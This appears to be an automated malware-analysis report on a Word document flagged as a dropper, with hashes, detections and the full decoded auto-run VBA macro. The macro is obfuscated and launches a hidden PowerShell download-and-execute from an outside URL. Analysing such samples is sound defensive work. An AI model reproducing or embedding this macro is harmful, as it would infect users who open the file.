Office (OLE) malware analysis — malicious · 5908bec491cf2525

MALICIOUS

Office (OLE)

95.0 KB Created: 2017-01-19 15:05:00 Authoring application: Microsoft Office Word First seen: 2017-02-23

MD5: 625d9c747c802335d8490cc010f91ff7 SHA-1: 63cf4d3ae5b12f1a7bc89fa4249c6bfc5695957a SHA-256: 5908bec491cf2525b7be04b4ab977cdbfe693deea3a368bcefe9be1dd9ac0a1e

230 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The sample contains heavily obfuscated VBA macros, including an auto-exec loader that uses CreateObject and execution tokens. The ClamAV heuristic identifies it as a dropper. The VBA script attempts to download and execute a second-stage payload, likely using PowerShell, based on the presence of `CreateObject("WScript.Shell")` and `Shell` calls.

Heuristics 7

ClamAV: Doc.Dropper.Agent-5684010-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Agent-5684010-0
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
xwsxplcncv(5) = "l"
Set snwjkrsxts = CreateObject(Join(xwsxplcncv, ""))
Dim dosesoda As String
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

xwsxplcncv(5) = "l"
Set snwjkrsxts = CreateObject(Join(xwsxplcncv, ""))
Dim dosesoda As String

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro

Matched line in script

Attribute VB_Customizable = True
Public Sub Document_Open()
'eunegsjdrtvanwpv dutyeternal

Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/camera-raw-settings/1.0/In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://www.iec.chIn document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5597 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	5597 bytes
SHA-256: `93433b40daeb2364577406b1819dcfd2e21f4c6c6e4c5be1acf324ad17f40131`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Public Sub Document_Open() 'eunegsjdrtvanwpv dutyeternal Dim emduvlexbmynrtnujhx As String emduvlexbmynrtnujhx = "onlineprovide" 'nnepujwsz mybqgwzoz dignitygadget = "skQhkekklXlX\X\VQoQpRReVnX\Q\XXcQRo9m9XmkakknQYdkV Q/QdkX k%9kTQkEVXMQ9PXk%Q\Xk\XYoQqksXVgXYmQ.VReXXxX9eQY XX/QkfkR k&9 Xek9vX9eknXtX9vQ9wYrX.9eX9xXXe9k RR&Q XPXIXYNQVGQk 9k-Y9nXQ Rk195QQ Y1k29k7Q.QR09X.X0YQ.k19>QnRQuQXlRQ kk&" Selection.TypeText ("It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using 'Content here, content here', making it look like readable English." & vbCrLf) 'xgraeqdveo historyrace Dim injectright As String injectright = "kobqqnljxscqgct" 'raxoudtkicic foldsong 'debrisfebruary burdenglue Dim jvzhtvdqzwfipg As String jvzhtvdqzwfipg = "lizardten" 'nqfydnlmrawr fortunehabit 'bringdentist mypiqoruxafudctztv Dim cratermountain As String cratermountain = "cloudepisode" 'ebulhtagrtn absorbpony 'glueprimary lgvcjbwuoaqttiip Dim considerdecide As String considerdecide = "firstweasel" 'bgsdsajym majorspice settletoddler = Asc("G") - 71 'boilgarage mowjissbrbqjadzra Dim inputpattern As String inputpattern = "awaresorry" 'fmcdgauwqsolfovrb exerciseshy 'costimpulse vlyvoxlvjkog Dim biasaqibbt As String biasaqibbt = "ovalridge" 'yanwtzdbine gatesuch hwajapklbasixgyhdc = "kRckkmXdQX.VXeQQxRe9 VX/9ck QYpkXoXw9eX9rVsVQhRekl9YlRk.kVeQx9e9Y kX-YRwQ R9hXiX9dRkdX9ekRn9 9-QknQoXkpVk QY-QQe9pV9 X9bXyXVpQaVsksk R(XNQ9e9wQV-QOkQb9j9ekcV9tk XQS9yk9skktkeQmR.YQNXQeQRt9R.k9WVekb9kCVVlViRReXVnktQ9)R.XkDQoYkw9nkl9oYQa9dXQFRi9Ql9XeX9(kX'QhRXtktXVpQQsV:Y/V/R9dQR.VQfQiRlVe9XbXoXVxX.XmQYoQYeV/QVokq9sQkgXm9.YXeYx99eY9'9,R'Y%kT9E9kMQXP9V%R9\Xk\QkokXqQsR9gQmY.X9e9xXQe9'V)X kX&k krReYgY kXaQdkQdRk YVHkXKXQCRUk\9V\9SXRoVf9VtXwX9aXr9eVX\XQ\YkCkkl9Xa9ksRskeRRsY\R\km9QsYcR9fQ9i9RlRXeY\Q\Q" 'qoagldkcl gjgjzoudhhsdfirmv Dim slotvalley As String slotvalley = "ewnmoxjpizqgoxgjy" 'urfbntxlvyurocrq xsmpyleqbefyytsde Dim bdxhjqaceesu As String bdxhjqaceesu = "marchpledge" Dim pygyphsqzakeyeaxfs As Long pygyphsqzakeyeaxfs = 183 hwajapklbasixgyhdc = hwajapklbasixgyhdc & dignitygadget & "k9 XQ%9TR9EQQMkPQ%Y\X\RokkqVsXg9mkk.Re99x9e" 'lawnsalad domainresponse Dim afhhdeisxgt As String afhhdeisxgt = "feverillegal" 'mdoedwjqin vihjwpwxzhyxhkxl Dim oftxmosgpheyz As String oftxmosgpheyz = "zysdntkoedaerpde" Dim buddyrisk As Long buddyrisk = 719 dignitygadget = "" Dim xwsxplcncv(1 To 5) As String xwsxplcncv(1) = "wsc" Dim rlotoryzp As String rlotoryzp = "cqfkdpkflfndffi" Dim vfhcacgunawnzhkoxwh As Long vfhcacgunawnzhkoxwh = 776 'cricketstick addressvapor Dim deliverpolice As String deliverpolice = "vpusctipnvzlpdmmwr" 'rwwozlflxobhgre eagerready xwsxplcncv(2) = "ri" Dim sqjizfytgsqox As String sqjizfytgsqox = "ladyservice" Dim regulartone As Long regulartone = 859 xwsxplcncv(3) = "pt.s" 'vyezbwkqvljz cruisevoyage Dim birizevyheeejvxn As String birizevyheeejvxn = "baszmssiazvztc" 'fvkwfwwopqueljnx jrwhjgmrbx 'ndjjcovemsyniy mreloqobrrosj Dim nhudxwpislzcv As String nhudxwpislzcv = "crackgrace" 'allowharsh buyupnczyvl xwsxplcncv(4) = "hel" 'tokentourist busguess Dim kuzebngzfv As String kuzebngzfv = "qzclctwczys" 'dnddyjjyrugplsx hckpmyudfzpwdxpp xwsxplcncv(5) = "l" Set snwjkrsxts = CreateObject(Join(xwsxplcncv, "")) Dim dosesoda As String dosesoda = "rznontrdaxinsyhoyq" Dim closesunset As Long closesunset = 51 'mposcvkseletsqr arjssjfdckukklf Dim crucialday As String crucialday = "costselect" 'crimemandate weddingweird For enlistvault = 1 To Len(hwajapklbasixgyhdc) 'qhuaygnvhikpr goddesslatin Dim amateurdog As String amateurdog = "paddlepower" 'elsequick sunvirus brokencurious = Mid(hwajapklbasixgyhdc, enlistvault, 1) 'ojalepefwerdwc disagreemad Dim tschysucls As String tschysucls = "ribtitle" 'jwxboggvdeudczkby collectlaw 'guitartell broomconfirm Dim adjustvoid As String adjustvoid = "inabtbghzhn" 'ogubhiihvppysilytaj orientsolve xoznlmgvkcnjtrsydpd = "VkRYQkXQ99X" Like "" & brokencurious & "" If Not xoznlmgvkcnjtrsydpd Then dignitygadget = dignitygadget & brokencurious End If 'ynylcatvifgepdy cnawprsxqzmgvpenp Dim oxnmwrwoigzkr As String oxnmwrwoigzkr = "lowsorkxpn" 'xiicivtjvfombho cqzgvjffvleeucj 'littlesurvey czcxmjoeadfo Dim hxqqpvxcif As String hxqqpvxcif = "qzdgzdsndfueebim" 'ebmykpjihkhcuw juniormoment If enlistvault = Len(hwajapklbasixgyhdc) Then 'lihpokxcnmadunt mkiuhqlgu Dim canvassection As String canvassection = "floatsituate" 'clumpcotton lfgdvfiocavoaumlilt 'neitheroblige owjcukidhmjubeuha Dim benchcoral As String benchcoral = "aerzdjtpgoychqzmryy" 'esvbyepzfyexq wxgtavcpjkcebrc examplegame = snwjkrsxts.Run(dignitygadget, settletoddler) End If 'cdlqwanidqcrcwe baconversion Dim ocgpvqrrkzdvmk As String ocgpvqrrkzdvmk = "fczpelfrbipwrxthkh" 'colorpath tailvibrant 'klnyfzmueo juzcylmkakzdwinmud Dim genreinherit As String genreinherit = "orlvhbabsisawxzky" 'authorlive brokeninvite Next 'alarmwave irieuwlls Dim hbuiecsulindcnk As String hbuiecsulindcnk = "ygzjcnrbjqcoljxz" 'mixprotect februarypoem End Sub

SHA-256: 93433b40daeb2364577406b1819dcfd2e21f4c6c6e4c5be1acf324ad17f40131

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Sub Document_Open()
'eunegsjdrtvanwpv dutyeternal
Dim emduvlexbmynrtnujhx As String
emduvlexbmynrtnujhx = "onlineprovide"
'nnepujwsz mybqgwzoz
dignitygadget = "skQhkekklXlX\X\VQoQpRReVnX\Q\XXcQRo9m9XmkakknQYdkV Q/QdkX k%9kTQkEVXMQ9PXk%Q\Xk\XYoQqksXVgXYmQ.VReXXxX9eQY XX/QkfkR k&9 Xek9vX9eknXtX9vQ9wYrX.9eX9xXXe9k RR&Q XPXIXYNQVGQk 9k-Y9nXQ Rk195QQ Y1k29k7Q.QR09X.X0YQ.k19>QnRQuQXlRQ kk&"
Selection.TypeText ("It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using 'Content here, content here', making it look like readable English." & vbCrLf)
'xgraeqdveo historyrace
Dim injectright As String
injectright = "kobqqnljxscqgct"
'raxoudtkicic foldsong
'debrisfebruary burdenglue
Dim jvzhtvdqzwfipg As String
jvzhtvdqzwfipg = "lizardten"
'nqfydnlmrawr fortunehabit

'bringdentist mypiqoruxafudctztv
Dim cratermountain As String
cratermountain = "cloudepisode"
'ebulhtagrtn absorbpony
'glueprimary lgvcjbwuoaqttiip
Dim considerdecide As String
considerdecide = "firstweasel"
'bgsdsajym majorspice
settletoddler = Asc("G") - 71
'boilgarage mowjissbrbqjadzra
Dim inputpattern As String
inputpattern = "awaresorry"
'fmcdgauwqsolfovrb exerciseshy
'costimpulse vlyvoxlvjkog
Dim biasaqibbt As String
biasaqibbt = "ovalridge"
'yanwtzdbine gatesuch
hwajapklbasixgyhdc = "kRckkmXdQX.VXeQQxRe9 VX/9ck QYpkXoXw9eX9rVsVQhRekl9YlRk.kVeQx9e9Y kX-YRwQ R9hXiX9dRkdX9ekRn9 9-QknQoXkpVk QY-QQe9pV9 X9bXyXVpQaVsksk R(XNQ9e9wQV-QOkQb9j9ekcV9tk XQS9yk9skktkeQmR.YQNXQeQRt9R.k9WVekb9kCVVlViRReXVnktQ9)R.XkDQoYkw9nkl9oYQa9dXQFRi9Ql9XeX9(kX'QhRXtktXVpQQsV:Y/V/R9dQR.VQfQiRlVe9XbXoXVxX.XmQYoQYeV/QVokq9sQkgXm9.YXeYx99eY9'9,R'Y%kT9E9kMQXP9V%R9\Xk\QkokXqQsR9gQmY.X9e9xXQe9'V)X kX&k krReYgY kXaQdkQdRk YVHkXKXQCRUk\9V\9SXRoVf9VtXwX9aXr9eVX\XQ\YkCkkl9Xa9ksRskeRRsY\R\km9QsYcR9fQ9i9RlRXeY\Q\Q"
'qoagldkcl gjgjzoudhhsdfirmv
Dim slotvalley As String
slotvalley = "ewnmoxjpizqgoxgjy"
'urfbntxlvyurocrq xsmpyleqbefyytsde
Dim bdxhjqaceesu As String
bdxhjqaceesu = "marchpledge"
Dim pygyphsqzakeyeaxfs As Long
pygyphsqzakeyeaxfs = 183
hwajapklbasixgyhdc = hwajapklbasixgyhdc & dignitygadget & "k9 XQ%9TR9EQQMkPQ%Y\X\RokkqVsXg9mkk.Re99x9e"
'lawnsalad domainresponse
Dim afhhdeisxgt As String
afhhdeisxgt = "feverillegal"
'mdoedwjqin vihjwpwxzhyxhkxl
Dim oftxmosgpheyz As String
oftxmosgpheyz = "zysdntkoedaerpde"
Dim buddyrisk As Long
buddyrisk = 719
dignitygadget = ""
Dim xwsxplcncv(1 To 5) As String
xwsxplcncv(1) = "wsc"
Dim rlotoryzp As String
rlotoryzp = "cqfkdpkflfndffi"
Dim vfhcacgunawnzhkoxwh As Long
vfhcacgunawnzhkoxwh = 776
'cricketstick addressvapor
Dim deliverpolice As String
deliverpolice = "vpusctipnvzlpdmmwr"
'rwwozlflxobhgre eagerready
xwsxplcncv(2) = "ri"
Dim sqjizfytgsqox As String
sqjizfytgsqox = "ladyservice"
Dim regulartone As Long
regulartone = 859
xwsxplcncv(3) = "pt.s"
'vyezbwkqvljz cruisevoyage
Dim birizevyheeejvxn As String
birizevyheeejvxn = "baszmssiazvztc"
'fvkwfwwopqueljnx jrwhjgmrbx
'ndjjcovemsyniy mreloqobrrosj
Dim nhudxwpislzcv As String
nhudxwpislzcv = "crackgrace"
'allowharsh buyupnczyvl
xwsxplcncv(4) = "hel"
'tokentourist busguess
Dim kuzebngzfv As String
kuzebngzfv = "qzclctwczys"
'dnddyjjyrugplsx hckpmyudfzpwdxpp
xwsxplcncv(5) = "l"
Set snwjkrsxts = CreateObject(Join(xwsxplcncv, ""))
Dim dosesoda As String
dosesoda = "rznontrdaxinsyhoyq"
Dim closesunset As Long
closesunset = 51
'mposcvkseletsqr arjssjfdckukklf
Dim crucialday As String
crucialday = "costselect"
'crimemandate weddingweird
For enlistvault = 1 To Len(hwajapklbasixgyhdc)
'qhuaygnvhikpr goddesslatin
Dim amateurdog As String
amateurdog = "paddlepower"
'elsequick sunvirus
brokencurious = Mid(hwajapklbasixgyhdc, enlistvault, 1)
'ojalepefwerdwc disagreemad
Dim tschysucls As String
tschysucls = "ribtitle"
'jwxboggvdeudczkby collectlaw
'guitartell broomconfirm
Dim adjustvoid As String
adjustvoid = "inabtbghzhn"
'ogubhiihvppysilytaj orientsolve
xoznlmgvkcnjtrsydpd = "VkRYQkXQ99X" Like "*" & brokencurious & "*"
If Not xoznlmgvkcnjtrsydpd Then
dignitygadget = dignitygadget & brokencurious
End If
'ynylcatvifgepdy cnawprsxqzmgvpenp
Dim oxnmwrwoigzkr As String
oxnmwrwoigzkr = "lowsorkxpn"
'xiicivtjvfombho cqzgvjffvleeucj
'littlesurvey czcxmjoeadfo
Dim hxqqpvxcif As String
hxqqpvxcif = "qzdgzdsndfueebim"
'ebmykpjihkhcuw juniormoment
If enlistvault = Len(hwajapklbasixgyhdc) Then
'lihpokxcnmadunt mkiuhqlgu
Dim canvassection As String
canvassection = "floatsituate"
'clumpcotton lfgdvfiocavoaumlilt
'neitheroblige owjcukidhmjubeuha
Dim benchcoral As String
benchcoral = "aerzdjtpgoychqzmryy"
'esvbyepzfyexq wxgtavcpjkcebrc
examplegame = snwjkrsxts.Run(dignitygadget, settletoddler)
End If
'cdlqwanidqcrcwe baconversion
Dim ocgpvqrrkzdvmk As String
ocgpvqrrkzdvmk = "fczpelfrbipwrxthkh"
'colorpath tailvibrant
'klnyfzmueo juzcylmkakzdwinmud
Dim genreinherit As String
genreinherit = "orlvhbabsisawxzky"
'authorlive brokeninvite
Next
'alarmwave irieuwlls
Dim hbuiecsulindcnk As String
hbuiecsulindcnk = "ygzjcnrbjqcoljxz"
'mixprotect februarypoem
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.